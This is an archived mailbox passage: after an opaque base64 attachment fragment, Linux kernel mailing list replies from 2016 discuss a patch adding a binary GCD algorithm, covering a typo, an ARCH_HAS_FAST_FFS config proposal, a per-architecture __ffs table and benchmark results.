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
qnGdVE1r0uR2UL/+H31la/L3jgIA

--wRRV7LY7NUeQGEoC--

From - Thu Nov 08 21:38:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Josh Juran <jjuran-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [patch V3] lib: GCD: add binary GCD algorithm
Date: Thu, 28 Apr 2016 13:10:52 -0400
Lines: 9
Approved: news@gmane.org
Message-ID: <6FAE0D2C-A593-488B-AE26-E462AF372D8E@gmail.com>
References: <1461843824-19853-1-git-send-email-zengzhaoxiu@163.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 6.6 \(1510\))
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1461863476 30651 80.91.229.3 (28 Apr 2016 17:11:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 28 Apr 2016 17:11:16 +0000 (UTC)
Cc: akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org, linux-gpGsJRJZ3PBBDgjK7y7TUQ@public.gmane.org, peterz-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org,
	Zhaoxiu Zeng <zhaoxiu.zeng-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	Richard Henderson <rth-hL46jP5Bxq7R7s880joybQ@public.gmane.org>,
	Ivan Kokshaysky <ink-biIs/Y0ymYJMZLIVYojuPNP0rXTJTi09@public.gmane.org>,
	Matt Turner <mattst88-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	Russell King <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>,
	Yoshinori Sato <ysato-Rn4VEauK+AKRv+LV9MX5uooqe+aC9MnS@public.gmane.org>,
	Geert Uytterhoeven <geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org>,
	James Hogan <james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Ralf Baechle <ralf-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>,
	Ley Foon Tan <lftan-EIB2kfCEclfQT0dZR+AlfA@public.gmane.org>,
	Jonas Bonn <jonas-A9uVI2HLR7kOP4wsBPIw7w@public.gmane.org>,
	"James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>,
	Chen Liqin <liqin.linux-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	Lennox Wu <lennox.wu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, Rich Felker <dalias-8zAoT0mYgF4@public.gmane.org>,
	"David S. Miller" <davem-fT/PcQaiUtIeIZ0/mPfg9Q@public.gmane.org>,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	uclinux-h8-devel-5NWGOfrQmneRv+LV9MX5uooqe+aC9MnS@public.gmane.org,
To: zengzhaoxiu-9Onoh4P/yGk@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Thu Apr 28 19:11:03 2016
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1avpSw-0006J2-20
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Thu, 28 Apr 2016 19:11:02 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1752845AbcD1RLB (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Thu, 28 Apr 2016 13:11:01 -0400
Original-Received: from mail-qg0-f42.google.com ([209.85.192.42]:36303 "EHLO
	mail-qg0-f42.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751734AbcD1RK7 (ORCPT
	<rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Thu, 28 Apr 2016 13:10:59 -0400
Original-Received: by mail-qg0-f42.google.com with SMTP id d90so32431182qgd.3;
        Thu, 28 Apr 2016 10:10:58 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:subject:from:in-reply-to:date:cc
         :content-transfer-encoding:message-id:references:to;
        bh=Fk9LM4LBIBfNYkQkgWTgZE0g39BgDi4WAfmUj9hduZA=;
        b=djdGnM0GYTkCWBNhXPYmGYRnOdgTwy5Lvu7otvdHbFkMVj1NwveNdaag97Z+JLbL6g
         l82rcJITZ3e9YsA3C4a22Me0Exou6NlMaG87V3nVAskd5dyafCbQiW2Syb7mmqZMAR/8
         a2ZZ9gKTeDtlC9/lfv51BpxH4Yp44hmxdEjE1gVNNFIfWW+y+ift4zdLvmWNnF3R/SNH
         uqYTPVKnX5J6Tfp4vIlZSth+lC49etLNr8ZwHS/+ZozCAPoWeEihKsn48131oj/E0nxq
         2phSdVqvgMO/cUujahpMcvbXdpcu3+DLHwhrpduGbk5uR5yO1e7E+MnoVQaP6pJRzAuJ
         yreQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:subject:from:in-reply-to:date:cc
         :content-transfer-encoding:message-id:references:to;
        bh=Fk9LM4LBIBfNYkQkgWTgZE0g39BgDi4WAfmUj9hduZA=;
        b=lo2O3KrYOvP0cXWOIMAUBhIBEM7ITu5M5+I8WWyyue0kxTAFZSrQ2wuZSsZYBluZSd
         0/EE+/y83OU2rSnoBZnaABRTjioUnh/6xER/J1INSZ4A7Ax+daSwT1KmbW8CUIkNKAgq
         1A+SQVQrbqhvl80BeK+1eANeyOLcD3B8qdIlmZ5QboPrzoa/xWwLDxhNZnxGwZP3gBqS
         0eW0cEizaXwP5kpwrk8fdhrqMrAUzuYehh4Rgb55Y2eJLJwo5uppkDiJ4Km+WwrkSN/2
         tW2XZOnVgIJNbqs3K9XFl2JgexowLt1PZFDA39vrKgF71RZwpzqjBikZpGVJo6gFII3D
         Qe4g==
X-Gm-Message-State: AOPr4FVWAeIKxP1G6v3PViJvT82MEmu5Nki3oXuL0cBV9vjV7cVJlKI3TX18zbipxaME2w==
X-Received: by 10.140.108.116 with SMTP id i107mr14644949qgf.36.1461863458244;
        Thu, 28 Apr 2016 10:10:58 -0700 (PDT)
Original-Received: from [192.168.1.103] (c-73-180-171-104.hsd1.md.comcast.net. [73.180.171.104])
        by smtp.gmail.com with ESMTPSA id 144sm3095375qhz.14.2016.04.28.10.10.53
        (version=TLS1 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Thu, 28 Apr 2016 10:10:56 -0700 (PDT)
In-Reply-To: <1461843824-19853-1-git-send-email-zengzhaoxiu-9Onoh4P/yGk@public.gmane.org>
X-Mailer: Apple Mail (2.1510)
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:1064 gmane.linux.kernel:2210778 gmane.linux.ports.alpha:3706 gmane.linux.ports.arm.kernel:496712 gmane.linux.ports.mips.general:54407 gmane.linux.ports.openrisc:707 gmane.linux.ports.parisc:26733 gmane.linux.ports.sh.devel:53899 gmane.linux.ports.sparc:22900
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/1064>

On Apr 28, 2016, at 7:43 AM, zengzhaoxiu-9Onoh4P/yGk@public.gmane.org wrote:

> + * This implements the binary GCD algorithm. (Often attributed to Stein,
> + * but as Knuth has noted, appears a first-century Chinese math text.)

Should this be "appears in a"?

Josh


From - Thu Nov 08 21:38:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "George Spelvin" <linux@horizon.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.openrisc,gmane.linux.ports.sparc
Subject: Re: [patch V3] lib: GCD: add binary GCD algorithm
Date: 28 Apr 2016 12:48:56 -0400
Lines: 122
Approved: news@gmane.org
Message-ID: <20160428164856.10120.qmail@ns.horizon.com>
References: <1461843824-19853-1-git-send-email-zengzhaoxiu@163.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461863677 1977 80.91.229.3 (28 Apr 2016 17:14:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 28 Apr 2016 17:14:37 +0000 (UTC)
Cc: dalias@libc.org, davem@davemloft.net, deller@gmx.de,
	geert@linux-m68k.org, ink@jurassic.park.msu.ru,
	james.hogan@imgtec.com, jejb@parisc-linux.org, jonas@southpole.se,
	lennox.wu@gmail.com, lftan@altera.com, linux-alpha@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linux-sh@vger.kernel.org, linux@arm.linux.org.uk,
	linux@lists.openrisc.net, liqin.linux@gmail.com,
	mattst88@gmail.com, monstr@monstr.eu,
	nios2-dev@lists.rocketboards.org, ralf@linux-mips.org,
	rth@twiddle.net, sparclinux@vger.kernel.org,
	uclinux-h8-devel@lists.sourceforge.jp, ysato@users.sourceforge.jp,
	zhaoxiu.zeng@gmail.com
To: akpm@linux-foundation.org, linux@horizon.com, peterz@infradead.org,
	zengzhaoxiu@163.com
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Apr 28 19:14:29 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1avpWG-0008Sb-LM
	for glk-linux-kernel-3@plane.gmane.org; Thu, 28 Apr 2016 19:14:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753437AbcD1ROM (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 28 Apr 2016 13:14:12 -0400
Original-Received: from ns.horizon.com ([71.41.210.147]:13386 "HELO ns.horizon.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753057AbcD1ROH (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Thu, 28 Apr 2016 13:14:07 -0400
Original-Received: (qmail 10121 invoked by uid 1000); 28 Apr 2016 12:48:56 -0400
In-Reply-To: <1461843824-19853-1-git-send-email-zengzhaoxiu@163.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2210780 gmane.linux.ports.alpha:3707 gmane.linux.ports.arm.kernel:496713 gmane.linux.kernel.metag:1065 gmane.linux.ports.mips.general:54408 gmane.linux.ports.parisc:26734 gmane.linux.ports.sh.devel:53900 gmane.linux.ports.openrisc:708 gmane.linux.ports.sparc:22901
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2210780>

Another few comments:

1. Would ARCH_HAS_FAST_FFS involve fewer changes than CPU_NO_EFFICIENT_FFS?
   
   Rather than updating all the Kconfig files, it could be #defined in
   the arch/*/asm/bitops.h files where the __ffs macro is defined.  E.g.

diff --git a/arch/alpha/include/asm/bitops.h b/arch/alpha/include/asm/bitops.h
index 4bdfbd44..c9c307a8 100644
--- a/arch/alpha/include/asm/bitops.h
+++ b/arch/alpha/include/asm/bitops.h
@@ -333,6 +333,7 @@ static inline unsigned long ffz(unsigned long word)
 static inline unsigned long __ffs(unsigned long word)
 {
 #if defined(CONFIG_ALPHA_EV6) && defined(CONFIG_ALPHA_EV67)
+#define ARCH_HAS_FAST_FFS 1
 	/* Whee.  EV67 can calculate it directly.  */
 	return __kernel_cttz(word);
 #else

Looking at the available architectures (list below), it looks like we
have 9 with fast __ffs, 13 without, and 7 where it depends on the model.
Three of the architectures without could have one written.

In terms of code changes, ARCH_HAS_SLOW_FFS would be slightly smaller,
inserting it into the asm-generic version and the few arch-specific
versions (marked "NO" below) which have optimized but bit-at-a-time code.

__ffs on the available architectures:
	Alpha: sometimes (CONFIG_ALPHA_EV6, CONFIG_ALPHA_EV67)
	ARC: sometimes (!CONFIG_ISA_ARCOMPACT)
	ARM: sometimes (V5+)
	ARM64: NO, could be written using RBIT and CLZ
	AVR: yes
	Blackfin: NO, could be written using hweight()
	C6x: yes
	CRIS: NO
	FR-V: yes
	H8300: NO
	Hexagon: yes
	IA64: yes
	M32R: NO
	M68k: sometimes
	MetaG: NO
	Microblaze: NO
	MIPS: sometimes
	MN10300: yes
	OpenRISC: NO
	PA-RISC: NO?  Interesting code, but I think it's a net loss.
	PowerPC: yes
	S390: sometimes (CONFIG_HAVE_MARCH_Z9_109_FEATURES)
	Score: NO
	SH: NO
	SPARC: NO
	Tile: NO, could be written using hweight()
	Unicore32: yes
	x86: yes
	Xtensa: sometimes (XCHAL_HAVE_NSA)


2. The documentation could definitely be improved.  If I may humbly
   recommend something like the following.  I think it's particularly
   important to say in the summary line that this is replacing something
   rather than adding (which sets off code bloat alarms).

+Subject: lib: GCD: Use binary GCD algorithm instead of Euclidean
+
+Even on x86 machines with reasonable division hardware, the binary
+algorithm runs about 25% faster (80% the execution time) than the
+division-based Euclidian algorithm.
+
+On platforms like Alpha and ARMv6 where division is a function call to
+emulation code, it's even more significant.
+
+There are two variants of the code here, depending on whether a
+fast __ffs (find least significant set bit) instruction is available.
+This allows the unpredictable branches in the bit-at-a-time shifting
+loop to be eliminated.
+
+If fast __ffs is not available, the "even/odd" GCD variant is used.
+This adds an additional test in the loop to choose between
+(a-b)/4 and (a+b)/4, dividing by 4 each iteration.  If fast __ffs
+is available, this doesn't help.


3. The benchmarking could be made more realistic.  Zhaoxiu Zeng's test
   program uses full-width random inputs.  However, if there is a large
   difference in the size of the inputs, it takes the binary algorithm
   many steps to do what division does in one.
   
   (Aside: I'd use informal address, but I don't know which name to use.
   Are those names in Western given-family order Zhaoxiu ZENG, or Eastern
   family-given order ZHAOXIU Zeng?)

For example, if I benchmark
	gcd(random64(), 1000000)
the binary code is barely faster on a Phenom, and if I drop that to
1000, it's actually 25% slower.  On Ivy Bridge, the binary code is
still consistently faster in both cases.

On a Pentium 4, if anyone cares, the binary code is 2.4x faster
on full-width inputs (32 bits in this case!), 25% faster with a fixed
1,000,000 and about 7% slower with a fixed 1,000.

It still seems like a net win to me, especially as the large speedups
apply to the worst case (so you're saving large*large), while the
slowdowns apply to the best case (you're losing small*small).
But if someone wants to do suggest more realistic benchmark conditions,
it would be interesting.

This entire function isn't actually used in any performance-sensitive
places AFAICT, so it's not very important one way or another, but I
understand the urge.


One way I changed the benchmark program was to eliminate the sleep(1)
calls, bump the iteration count 100-fold, and do two passes over the
list of, discarding the first one.

Without that, the Euclidean algorithm, being the first to run, gets a
huge penalty due to the CPU throttling up in the middle of its run.


From - Thu Nov 08 21:38:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [patch V3] lib: GCD: add binary GCD algorithm
Date: Thu, 28 Apr 2016 10:22:50 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <1461864170.2307.19.camel@HansenPartnership.com>
References: <1461843824-19853-1-git-send-email-zengzhaoxiu@163.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1461864191 10773 80.91.229.3 (28 Apr 2016 17:23:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 28 Apr 2016 17:23:11 +0000 (UTC)
Cc: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Russell King <linux@arm.linux.org.uk>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	James Hogan <james.hogan@imgtec.com>,
	Michal Simek <monstr@monstr.eu>,
	Ralf Baechle <ralf@linux-mips.org>,
	Ley Foon Tan <lftan@altera.com>,
	Jonas Bonn <jonas@southpole.se>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Chen Liqin <liqin.linux@gmail.com>,
	Lennox Wu <lennox.wu@gmail.com>, Rich Felker <dalias@libc.org>,
	"David S. Miller" <davem@davemloft.net>,
	linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	uclinux-h8-devel@lists.sourceforge.jp,
	linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
	linu
To: zengzhaoxiu@163.com, akpm@linux-foundation.org, linux@horizon.com,
	peterz@infradead.org
